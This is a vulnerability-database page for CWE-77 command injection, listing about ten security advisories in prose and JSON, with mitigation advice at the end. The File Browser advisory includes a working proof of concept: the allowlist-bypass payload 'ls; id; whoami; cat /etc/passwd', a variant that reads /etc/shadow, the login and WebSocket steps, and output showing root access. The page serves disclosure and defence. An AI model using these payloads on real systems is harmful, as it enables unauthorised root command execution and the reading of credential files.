Common Weakness Enumeration

CWE-77

Allowed-with-Review

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

5416 vulnerabilities reference this CWE, most recent first.

GHSA-8C9G-VJX9-CF8F

Vulnerability from github – Published: 2022-09-16 00:00 – Updated: 2022-09-21 00:00
VLAI
Details

TOTOLINK-720R v4.1.5cu.374 was discovered to contain a remote code execution (RCE) vulnerability via the setdiagnosicfg function.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-15T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "TOTOLINK-720R v4.1.5cu.374 was discovered to contain a remote code execution (RCE) vulnerability via the setdiagnosicfg function.",
  "id": "GHSA-8c9g-vjx9-cf8f",
  "modified": "2022-09-21T00:00:52Z",
  "published": "2022-09-16T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38534"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jfox816/TOTOLINK-720R/blob/fb6ba109ba9c5bd1b0d8e22c88ee14bdc4a75e6b/TOTOLINK%20720%20RCode%20Execution.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8C9Q-7855-WFXQ

Vulnerability from github – Published: 2026-06-12 22:52 – Updated: 2026-07-21 13:54
VLAI
Summary
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
Details

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

When a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one.

This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The slices.Contains fix does not prevent this bypass.

Affected Location

  • runner/parser.go, function ParseCommand (lines 10-25)
  • http/commands.go, function commandsHandler (lines 72-86)

Root Cause

ParseCommand extracts the first token via SplitCommandAndArgs for the allowlist check, then passes the entire raw input to the shell:

func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {
    name, args, err := SplitCommandAndArgs(raw)
    if len(s.Shell) == 0 || s.Shell[0] == "" {
        command = append(command, name)
        command = append(command, args...)
    } else {
        command = append(command, s.Shell...)
        command = append(command, raw)   // full user input, metacharacters included
    }
    return command, name, nil
}

In commandsHandler:

if !slices.Contains(d.user.Commands, name) {  // name = "ls", passes
    // reject
}
cmd := exec.Command(command[0], command[1:]...)
// actually executes: /bin/sh -c "ls; id; cat /etc/shadow"

name is ls — allowed. But /bin/sh -c interprets the rest.

PoC

Prerequisites: - Command execution enabled (--disable-exec=false) - Shell configured to /bin/sh -c - User has Execute permission with an allowlist, e.g. git,ls,cat

Steps:

  1. Log in, grab a JWT:
POST /api/login
{"username":"admin","password":"..."}

  1. Open a WebSocket to /api/command/ with header X-Auth: <jwt>.

  2. Send:

ls; id; whoami; cat /etc/passwd
  1. All four commands execute and output is returned. Sending just whoami alone returns "Command not allowed." — the allowlist is active but bypassable.

Output:

bin
etc
home
...
===BYPASS===
uid=0(root) gid=0(root) groups=0(root),10(wheel)
root
root:x:0:0:root:/root:/bin/sh

Tested against commit d236f1c (frontend v3.0.0) on the official Docker image filebrowser/filebrowser:latest.

Impact

Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T22:52:11Z",
    "nvd_published_at": "2026-06-25T19:16:40Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary\n\nWhen a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell \u2014 semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one.\n\nThis is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass.\n\n## Affected Location\n\n- `runner/parser.go`, function `ParseCommand` (lines 10-25)\n- `http/commands.go`, function `commandsHandler` (lines 72-86)\n\n## Root Cause\n\n`ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell:\n\n```go\nfunc ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {\n    name, args, err := SplitCommandAndArgs(raw)\n    if len(s.Shell) == 0 || s.Shell[0] == \"\" {\n        command = append(command, name)\n        command = append(command, args...)\n    } else {\n        command = append(command, s.Shell...)\n        command = append(command, raw)   // full user input, metacharacters included\n    }\n    return command, name, nil\n}\n```\n\nIn `commandsHandler`:\n\n```go\nif !slices.Contains(d.user.Commands, name) {  // name = \"ls\", passes\n    // reject\n}\ncmd := exec.Command(command[0], command[1:]...)\n// actually executes: /bin/sh -c \"ls; id; cat /etc/shadow\"\n```\n\n`name` is `ls` \u2014 allowed. But `/bin/sh -c` interprets the rest.\n\n## PoC\n\nPrerequisites:\n- Command execution enabled (`--disable-exec=false`)\n- Shell configured to `/bin/sh -c`\n- User has Execute permission with an allowlist, e.g. `git,ls,cat`\n\nSteps:\n\n1. Log in, grab a JWT:\n\n```\nPOST /api/login\n{\"username\":\"admin\",\"password\":\"...\"}\n```\n\n2. Open a WebSocket to `/api/command/` with header `X-Auth: \u003cjwt\u003e`.\n\n3. Send:\n\n```\nls; id; whoami; cat /etc/passwd\n```\n\n4. All four commands execute and output is returned. Sending just `whoami` alone returns \"Command not allowed.\" \u2014 the allowlist is active but bypassable.\n\nOutput:\n\n```\nbin\netc\nhome\n...\n===BYPASS===\nuid=0(root) gid=0(root) groups=0(root),10(wheel)\nroot\nroot:x:0:0:root:/root:/bin/sh\n```\n\nTested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`.\n\n## Impact\n\nAny user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.",
  "id": "GHSA-8c9q-7855-wfxq",
  "modified": "2026-07-21T13:54:55Z",
  "published": "2026-06-12T22:52:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-8c9q-7855-wfxq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection"
}

GHSA-8CJF-HJFF-67Q2

Vulnerability from github – Published: 2026-04-13 06:30 – Updated: 2026-04-13 06:30
VLAI
Details

A security flaw has been discovered in Totolink A7100RU 7.4cu.2313_b20191024. The affected element is the function setWizardCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation of the argument wizard results in os command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T04:16:14Z",
    "severity": "HIGH"
  },
  "details": "A security flaw has been discovered in Totolink A7100RU 7.4cu.2313_b20191024. The affected element is the function setWizardCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation of the argument wizard results in os command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.",
  "id": "GHSA-8cjf-hjff-67q2",
  "modified": "2026-04-13T06:30:30Z",
  "published": "2026-04-13T06:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_194/README.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/792990"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357034"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357034/cti"
    },
    {
      "type": "WEB",
      "url": "https://www.totolink.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8CP5-3RF8-8GFH

Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-18 16:15
VLAI
Summary
DeepSpeed Remote Code Execution Vulnerability
Details

DeepSpeed Remote Code Execution Vulnerability

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "deepspeed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-17T22:09:12Z",
    "nvd_published_at": "2024-10-08T18:15:11Z",
    "severity": "HIGH"
  },
  "details": "DeepSpeed Remote Code Execution Vulnerability",
  "id": "GHSA-8cp5-3rf8-8gfh",
  "modified": "2024-10-18T16:15:55Z",
  "published": "2024-10-08T18:33:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43497"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/DeepSpeed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/DeepSpeed/releases/tag/v0.15.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/deepspeed/PYSEC-2024-109.yaml"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43497"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DeepSpeed Remote Code Execution Vulnerability"
}

GHSA-8CR8-X534-X73J

Vulnerability from github – Published: 2022-05-06 00:00 – Updated: 2022-05-14 00:03
VLAI
Details

We have already fixed this vulnerability in the following versions of QVR: QVR 5.1.6 build 20220401 and later

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-27588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-05T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "We have already fixed this vulnerability in the following versions of QVR: QVR 5.1.6 build 20220401 and later",
  "id": "GHSA-8cr8-x534-x73j",
  "modified": "2022-05-14T00:03:33Z",
  "published": "2022-05-06T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27588"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-22-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8F5W-PJ4V-82JC

Vulnerability from github – Published: 2024-06-07 06:30 – Updated: 2024-08-01 15:31
VLAI
Details

Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command injection via im_convert_path and im_identify_path. NOTE: this issue exists because of an incomplete fix for CVE-2020-12641.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-07T04:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command injection via im_convert_path and im_identify_path. NOTE: this issue exists because of an incomplete fix for CVE-2020-12641.",
  "id": "GHSA-8f5w-pj4v-82jc",
  "modified": "2024-08-01T15:31:47Z",
  "published": "2024-06-07T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37385"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/commit/5ea9f37ce39374b6124586c0590fec7015d35d7f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8F78-XV3X-2V8P

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details

Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects RBW30 before 2.6.2.2, RBS40V before 2.6.2.4, RBK852 before 3.2.17.12, RBK853 before 3.2.17.12, RBK854 before 3.2.17.12, RBR850 before 3.2.17.12, RBS850 before 3.2.17.12, RBK752 before 3.2.17.12, RBK753 before 3.2.17.12, RBK753S before 3.2.17.12, RBK754 before 3.2.17.12, RBR750 before 3.2.17.12, and RBS750 before 3.2.17.12.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-29077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-23T07:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects RBW30 before 2.6.2.2, RBS40V before 2.6.2.4, RBK852 before 3.2.17.12, RBK853 before 3.2.17.12, RBK854 before 3.2.17.12, RBR850 before 3.2.17.12, RBS850 before 3.2.17.12, RBK752 before 3.2.17.12, RBK753 before 3.2.17.12, RBK753S before 3.2.17.12, RBK754 before 3.2.17.12, RBR750 before 3.2.17.12, and RBS750 before 3.2.17.12.",
  "id": "GHSA-8f78-xv3x-2v8p",
  "modified": "2022-05-24T17:45:08Z",
  "published": "2022-05-24T17:45:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29077"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000063016/Security-Advisory-for-Pre-Authentication-Command-Injection-on-Some-WiFi-Systems-PSV-2020-0486"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8F98-C4VQ-HWX4

Vulnerability from github – Published: 2023-07-06 15:30 – Updated: 2025-11-04 21:30
VLAI
Details

Two OS command injection vulnerabilities exist in the urvpn_client cmd_name_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This OS command injection is triggered through a UDP packet.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T15:15:12Z",
    "severity": "HIGH"
  },
  "details": "Two OS command injection vulnerabilities exist in the urvpn_client cmd_name_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This OS command injection is triggered through a UDP packet.",
  "id": "GHSA-8f98-c4vq-hwx4",
  "modified": "2025-11-04T21:30:34Z",
  "published": "2023-07-06T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24583"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1710"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1710"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8F9Q-2V4R-6QGG

Vulnerability from github – Published: 2025-08-19 18:31 – Updated: 2025-08-19 18:31
VLAI
Details

A vulnerability was determined in Wavlink WL-NU516U1 M16U1_V240425. This impacts the function sub_4032E4 of the file /cgi-bin/wireless.cgi. This manipulation of the argument Guest_ssid causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-9149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-19T18:15:29Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in Wavlink WL-NU516U1 M16U1_V240425. This impacts the function sub_4032E4 of the file /cgi-bin/wireless.cgi. This manipulation of the argument Guest_ssid causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-8f9q-2v4r-6qgg",
  "modified": "2025-08-19T18:31:34Z",
  "published": "2025-08-19T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-3-start/lin-cve/blob/main/Wavlink/Wavlink.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-3-start/lin-cve/blob/main/Wavlink/Wavlink.md#poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.320528"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.320528"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.629181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8FC3-6G2G-RGC3

Vulnerability from github – Published: 2024-11-12 15:30 – Updated: 2025-02-11 12:30
VLAI
Details

A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly sanitize an input field. This could allow an authenticated remote attacker with administrative privileges to inject code or spawn a system root shell.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-50572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T13:15:13Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions \u003c V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions \u003c V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions \u003c V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions \u003c V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions \u003c V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions \u003c V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions \u003c V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions \u003c V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions \u003c V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions \u003c V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions \u003c V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions \u003c V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions \u003c V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions \u003c V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions \u003c V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions \u003c V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions \u003c V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions \u003c V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions \u003c V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions \u003c V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions \u003c V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions \u003c V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions \u003c V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions \u003c V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions \u003c V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions \u003c V8.2). Affected devices do not properly sanitize an input field.  This could allow an authenticated remote attacker with administrative privileges to inject code or spawn a system root shell.",
  "id": "GHSA-8fc3-6g2g-rgc3",
  "modified": "2025-02-11T12:30:53Z",
  "published": "2024-11-12T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50572"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-354112.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation
Implementation

If possible, ensure that all external commands called from the program are statically created.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
